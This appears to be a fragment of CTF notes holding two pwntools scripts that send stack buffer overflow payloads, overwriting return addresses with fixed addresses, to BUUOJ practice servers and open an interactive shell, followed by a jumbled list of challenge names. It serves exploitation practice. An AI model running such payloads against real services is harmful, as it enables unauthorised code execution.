cm_zl

from pwn import * context.log_level = 'debug' io=remote('node3.buuoj.cn', "28247") payload = "A"*(0x48) + p64(0x40060D) io.sendline(payload) io.interactive()

from pwn import * context.log_level = 'debug' io=remote('node3.buuoj.cn', "28808") payload = "A"*(0xf + 8) + p64(0x401198)+ p64(0x401186) io.sendline(payload) io.interactive()

level2 guess num int overflow level0 level3 level2 ## guess num ## int overflow ## level0 level3